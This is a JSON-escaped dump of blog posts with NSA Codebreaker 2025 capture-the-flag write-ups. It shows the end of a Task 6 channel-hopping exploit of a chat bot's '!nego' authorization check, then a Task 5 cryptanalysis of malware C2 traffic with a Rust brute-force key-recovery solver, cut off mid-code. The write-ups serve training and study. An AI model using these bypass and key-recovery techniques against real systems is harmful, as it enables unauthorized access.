alt=\"Hopping\"/\u003e\n\u003c/p\u003e\n\u003ch3 id=\"submission\"\u003eSubmission\u003c/h3\u003e\n\u003cp\u003eWith the exploitation path identified through database analysis, I submitted the following series of commands to the NSA Codebreaker platform (note that the moderator must be listed last):\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e!nego channel17298 affectedorange68 pacifiedsnail22 mod_stressedcheese82 \n!nego channel38107 pacifiedsnail22 mildlapwing47 mod_innocentrelish97 \n!nego channel17132 mildlapwing47 sorebuzzard67 mod_sugarythrushe15 \n!nego channel26325 meremussel4 sorebuzzard67 mod_sugarycrane58\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eEach command would be executed sequentially from the respective channels to hop from Public to channel17298, then to channel38107, channel17132, and finally to channel26325 where the adversary was located.\u003c/p\u003e\n\u003cp\u003e\n\u003cimg src=\"/images/codebreaker-2025/badge6.png\" alt=\"Badge\" width=\"300\"/\u003e\n\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSuccess!\u003c/strong\u003e By exploiting the \u003ccode\u003e!nego\u003c/code\u003e command\u0026rsquo;s membership verification logic and carefully mapping out user overlaps between channels, I successfully gained access to the adversary\u0026rsquo;s private channel.\u003c/p\u003e\n","date":"2025-10-21","dateFormatted":"October 21, 2025","excerpt":"← Series overview Task 6 - Crossing the Channel - (Vulnerability Research) This high visibility investigation has garnered a lot of agency attention. Due to your success, your team has designated you …","featured":false,"mood":null,"permalink":"/posts/nsa-codebreaker-2025-task-6/","readingTime":6,"slug":"nsa-codebreaker-2025-task-6","subtitle":"A lesson in destination-specific authorization","summary":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003c!-- Paste your Markdown content below this line. --\u003e\n\u003ch1 id=\"task-6---crossing-the-channel---vulnerability-research\"\u003eTask 6 - Crossing the Channel - (Vulnerability Research)\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThis high visibility investigation has garnered a lot of agency attention. Due to your success, your team has designated you as the lead for the tasks ahead. Partnering with CNO and CYBERCOM mission elements, you work with operations to collect the persistent data associated with the identified Mattermost instance. Our analysts inform us that it was obtained through a one-time opportunity and we must move quickly as this may hold the key to tracking down our adversary! We have managed to create an account but it only granted us access to one channel. The adversary doesn\u0026rsquo;t appear to be in that channel.\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","vulnerability research"],"title":"NSA Codebreaker 2025 - Task 6: Crossing the Channel","url":"/posts/nsa-codebreaker-2025-task-6/","wordCount":1118},{"content":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-5---putting-it-all-together---cryptanalysis\"\u003eTask 5 - Putting It All Together - (Cryptanalysis)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNSA analysts confirm that there is solid evidence that this binary was at least part of what had been installed on the military development network. Unfortunately, we do not yet have enough information to update NSA senior leadership on this threat. We need to move forward with this investigation!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe team is stumped - they need to identify something about who was controlling this malware. They look to you. \u0026ldquo;Do you have any ideas?\u0026rdquo;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"task\"\u003eTask\u003c/h2\u003e\n\u003cp\u003eSubmit the full URL to the adversary\u0026rsquo;s server\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eThis task is unusual: it ships no new files. Everything needed is already in hand, the packet capture from Task 2 and the implant we unpacked in Task 4. The goal is to read the one conversation in that capture we could never make sense of, because it was encrypted, and pull the adversary\u0026rsquo;s server URL out of it.\u003c/p\u003e\n\u003cp\u003eThe short version: the malware\u0026rsquo;s author rolled their own encryption on top of AES and made three mistakes. Any one of them would have been bad. Together they let a laptop recover the secret keys in under a minute and read every message.\u003c/p\u003e\n\u003ch3 id=\"the-conversation-we-could-not-read\"\u003eThe conversation we could not read\u003c/h3\u003e\n\u003cp\u003eBack in Task 2 I flagged one TCP conversation between the infected host and an outside server that started with the odd marker bytes \u003ccode\u003ede c0 de c0 ff ee\u003c/code\u003e. Following that stream shows a tidy back-and-forth of seven messages:\u003c/p\u003e\n\u003cimg src=\"/images/codebreaker-2025/task5-flow.png\" alt=\"The seven-message C2 handshake in the Task 2 capture\"/\u003e\n\u003cp\u003eCross-referencing this with the \u003ccode\u003eComms\u003c/code\u003e class in the Task 4 payload, the exchange is a handshake:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eThe server sends an RSA public key in the clear.\u003c/li\u003e\n\u003cli\u003eThe client makes up two AES keys, encrypts them with that RSA public key, and sends them back. RSA here is just an envelope: only the server (which holds the matching private key) can open it, so the keys are hidden from anyone watching the wire.\u003c/li\u003e\n\u003cli\u003eThe server replies \u003ccode\u003eKEY_RECEIVED\u003c/code\u003e in the clear.\u003c/li\u003e\n\u003cli\u003eFrom here on both sides talk using those AES keys. There are four encrypted messages left, and the last ones are where the URL lives.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eEvery message, once decrypted, begins with the same \u003ccode\u003edec0dec0ffee\u003c/code\u003e marker. Hold onto that fact, it turns out to be the crowbar.\u003c/p\u003e\n\u003ch3 id=\"a-two-minute-crypto-primer\"\u003eA two-minute crypto primer\u003c/h3\u003e\n\u003cp\u003eIf you already know AES you can skip this. If not, here is everything you need for this task:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eA symmetric cipher\u003c/strong\u003e like AES scrambles data with a secret number called a key. Whoever has the key can scramble (encrypt) and unscramble (decrypt). AES works on 16-byte chunks called blocks.\u003c/li\u003e\n\u003cli\u003eThe key is normally 128 bits, a number between 0 and roughly 340 undecillion (\u003ccode\u003e2^128\u003c/code\u003e). You cannot guess it by trying every value: even at a billion billion guesses a second you would not finish before the sun burns out. That huge space of possibilities is the entire reason AES is safe.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eECB mode\u003c/strong\u003e is the simplest way to use a block cipher: chop the message into 16-byte blocks and encrypt each one on its own. It is simple and, as we will see, leaky.\u003c/li\u003e\n\u003cli\u003eA \u003cstrong\u003eknown-plaintext attack\u003c/strong\u003e is when you already know what some encrypted message \u003cem\u003esays\u003c/em\u003e. If you know both the plaintext and its ciphertext, you can test a guessed key by encrypting the plaintext yourself and checking whether you get the matching ciphertext.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe malware\u0026rsquo;s security rests entirely on that \u003ccode\u003e2^128\u003c/code\u003e number being too big to search. All three flaws below chip away at exactly that.\u003c/p\u003e\n\u003ch3 id=\"flaw-1-the-keys-are-almost-entirely-zero\"\u003eFlaw 1: the keys are almost entirely zero\u003c/h3\u003e\n\u003cp\u003eLooking at \u003ccode\u003egen_key\u003c/code\u003e in the payload, it starts out doing the right thing: it reads 32 bytes of real randomness from \u003ccode\u003e/dev/random\u003c/code\u003e. Then it throws nearly all of it away. After a chain of hashing, XORs and bit shifts, the net effect is that only the low 26 bits survive. The finished 16-byte key always looks like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eXX XX XX 0Y 00 00 00 00 00 00 00 00 00 00 00 00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|__________|  \\__ the rest of the key is always zero\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  26 bits that actually vary (0Y is only 0x00-0x03)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIn plain terms: instead of \u003ccode\u003e2^128\u003c/code\u003e possible keys, there are only \u003ccode\u003e2^26\u003c/code\u003e, which is about 67 million. That is not a cryptographic key space, that is a number a laptop chews through in seconds. Both AES keys the malware generates have this same weakness.\u003c/p\u003e\n\u003ch3 id=\"flaw-2-ecb-with-no-randomization-leaks-structure\"\u003eFlaw 2: ECB with no randomization leaks structure\u003c/h3\u003e\n\u003cp\u003eAES-ECB has a well-known property: the same 16-byte input always encrypts to the same 16-byte output under a given key. There is no IV (initialization vector), the random salt that normally makes two identical blocks encrypt differently. Here there is none, so identical plaintext blocks are visible as identical ciphertext blocks.\u003c/p\u003e\n\u003cp\u003eYou can see it directly in the capture. The last 16 bytes of all four encrypted messages are byte-for-byte identical:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg4 tail: 409a5a9dafac6df2db0a970fb723a1bb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg5 tail: 409a5a9dafac6df2db0a970fb723a1bb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg6 tail: 409a5a9dafac6df2db0a970fb723a1bb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsg7 tail: 409a5a9dafac6df2db0a970fb723a1bb\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThat repeated block is padding (explained next), and because ECB leaks it, it hands us a free crib.\u003c/p\u003e\n\u003ch3 id=\"flaw-3-double-encryption-that-helps-the-attacker\"\u003eFlaw 3: double encryption that helps the attacker\u003c/h3\u003e\n\u003cp\u003eThe author clearly worried that one layer of AES was not enough, so \u003ccode\u003esend_message\u003c/code\u003e encrypts every message twice, first with key 1, then the result again with key 2. The idea is \u0026ldquo;twice the encryption, twice the safety.\u0026rdquo; It does not work that way when each key only has 26 bits, and it actually leaks a gift.\u003c/p\u003e\n\u003cp\u003eAES needs messages to be a whole number of 16-byte blocks, so it pads them out using a scheme called PKCS#7. A quirk of that scheme: if the data is \u003cem\u003ealready\u003c/em\u003e a multiple of 16 bytes, it adds a whole extra block of all \u003ccode\u003e0x10\u003c/code\u003e bytes. Because the message is encrypted twice, the second (key 2) layer adds its own padding block on top. That trailing block is therefore just the value \u003ccode\u003e10 10 ... 10\u003c/code\u003e encrypted with key 2 alone. That is the identical tail we saw above, and it is a known-plaintext pair for key 2 by itself.\u003c/p\u003e\n\u003ch3 id=\"the-cribs\"\u003eThe cribs\u003c/h3\u003e\n\u003cp\u003ePutting the flaws together, I have two pieces of known plaintext:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFor key 2 on its own:\u003c/strong\u003e the plaintext \u003ccode\u003e10 10 ... 10\u003c/code\u003e (sixteen \u003ccode\u003e0x10\u003c/code\u003e bytes) encrypts to that repeated tail block \u003ccode\u003e409a5a9d...a1bb\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFor both keys together:\u003c/strong\u003e from the implant\u0026rsquo;s handshake code, the first encrypted client message is the string \u003ccode\u003eREQCONN\u003c/code\u003e. With the \u003ccode\u003edec0dec0ffee\u003c/code\u003e marker in front and PKCS#7 padding behind, its first 16-byte plaintext block is exactly \u003ccode\u003edec0dec0ffee524551434f4e4e030303\u003c/code\u003e, and we can see its ciphertext in the capture.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"the-attack\"\u003eThe attack\u003c/h3\u003e\n\u003cp\u003eNow the \u003ccode\u003e2^26\u003c/code\u003e key space does all the work. Two quick phases, each a plain brute force:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eRecover key 2.\u003c/strong\u003e Try all ~67 million candidate keys. For each, decrypt the repeated tail block. The correct key is the one that turns it back into sixteen \u003ccode\u003e0x10\u003c/code\u003e bytes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRecover key 1.\u003c/strong\u003e Peel the key-2 layer off the \u003ccode\u003eREQCONN\u003c/code\u003e ciphertext block to get the value sitting between the two encryptions. Then try all ~67 million candidates again: the correct key 1 is the one that encrypts the known \u003ccode\u003edec0dec0ffee...REQCONN\u003c/code\u003e block into that middle value.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eEach phase is about 67 million AES operations, a few seconds in compiled code. (A \u003ca href=\"https://en.wikipedia.org/wiki/Meet-in-the-middle_attack\"\u003emeet-in-the-middle attack\u003c/a\u003e on a single doubly-encrypted block works too, but peeling the layers using the free key-2 crib is simpler.)\u003c/p\u003e\n\u003cp\u003eHere is the solver in Rust. It links AES from the system\u0026rsquo;s OpenSSL, recovers both keys, then decrypts all four messages:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-rust\" data-lang=\"rust\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// NSA Codebreaker 2025 - Task 5 solver\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// The implant (unpacked in Task 4) wraps each C2 message in double AES-128-ECB with no IV.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Its key generator is broken: each 16-byte key is `v` as 4 little-endian bytes followed by\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// 12 zero bytes, with v in [0, 2^26) (bytes 0-2 random, byte 3 in 0..=3). That is only 26 bits\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// of entropy per key, so the two keys fall to a known-plaintext brute force.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Cribs taken from the Task 2 capture + protocol constants:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//   * every message ends with E_k2(0x10^16): the second encryption layer\u0026#39;s PKCS#7 block,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//     encrypted with key 2 only -\u0026gt; recover key 2 directly.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//   * the first application message decrypts to  dec0dec0ffee + \u0026#34;REQCONN\u0026#34; + PKCS#7(0x03) -\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//     once key 2 is known, recover key 1.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e//\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// AES comes from libcrypto (linked below); no third-party crates.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#[link(name = \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;crypto\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e)]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eextern\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eAES_set_encrypt_key\u003c/span\u003e(user_key: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e, bits: \u003cspan style=\"color:#66d9ef\"\u003ei32\u003c/span\u003e, key: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e AesKey) -\u0026gt; \u003cspan style=\"color:#66d9ef\"\u003ei32\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eAES_set_decrypt_key\u003c/span\u003e(user_key: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e, bits: \u003cspan style=\"color:#66d9ef\"\u003ei32\u003c/span\u003e, key: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e AesKey) -\u0026gt; \u003cspan style=\"color:#66d9ef\"\u003ei32\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eAES_encrypt\u003c/span\u003e(inp: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e, out: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e, key: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e AesKey);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eAES_decrypt\u003c/span\u003e(inp: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e, out: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e, key: \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e AesKey);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// OpenSSL AES_KEY: unsigned int rd_key[60]; int rounds;  -\u0026gt; 244 bytes. Over-allocate for safety.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#[repr(C)]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003estruct\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eAesKey\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    rd_key: [\u003cspan style=\"color:#66d9ef\"\u003eu32\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e60\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    rounds: \u003cspan style=\"color:#66d9ef\"\u003ei32\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eimpl\u003c/span\u003e AesKey {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ezero\u003c/span\u003e() -\u0026gt; \u003cspan style=\"color:#a6e22e\"\u003eSelf\u003c/span\u003e { AesKey { rd_key: [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e60\u003c/span\u003e], rounds: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e } }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eMAX\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eu32\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e26\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ekey_from_v\u003c/span\u003e(v: \u003cspan style=\"color:#66d9ef\"\u003eu32\u003c/span\u003e) -\u0026gt; [\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e] {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e k \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    k[\u003cspan style=\"color:#f92672\"\u003e..\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e].copy_from_slice(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ev.to_le_bytes());\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    k\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eenc_block\u003c/span\u003e(key: \u003cspan style=\"color:#66d9ef\"\u003e\u0026amp;\u003c/span\u003e[\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e], inp: \u003cspan style=\"color:#66d9ef\"\u003e\u0026amp;\u003c/span\u003e[\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e]) -\u0026gt; [\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e] {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e ak \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e AesKey::zero();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e out \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eunsafe\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        AES_set_encrypt_key(key.as_ptr(), \u003cspan style=\"color:#ae81ff\"\u003e128\u003c/span\u003e, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e ak);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        AES_encrypt(inp.as_ptr(), out.as_mut_ptr(), \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eak);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    out\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edec_block\u003c/span\u003e(key: \u003cspan style=\"color:#66d9ef\"\u003e\u0026amp;\u003c/span\u003e[\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e], inp: \u003cspan style=\"color:#66d9ef\"\u003e\u0026amp;\u003c/span\u003e[\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e]) -\u0026gt; [\u003cspan style=\"color:#66d9ef\"\u003eu8\u003c/span\u003e; \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e] {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emut\u003c/span\u003e ak \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e AesKey::zero();\n\u003c/span\u003e\u003c/span\u003e\u003cspan 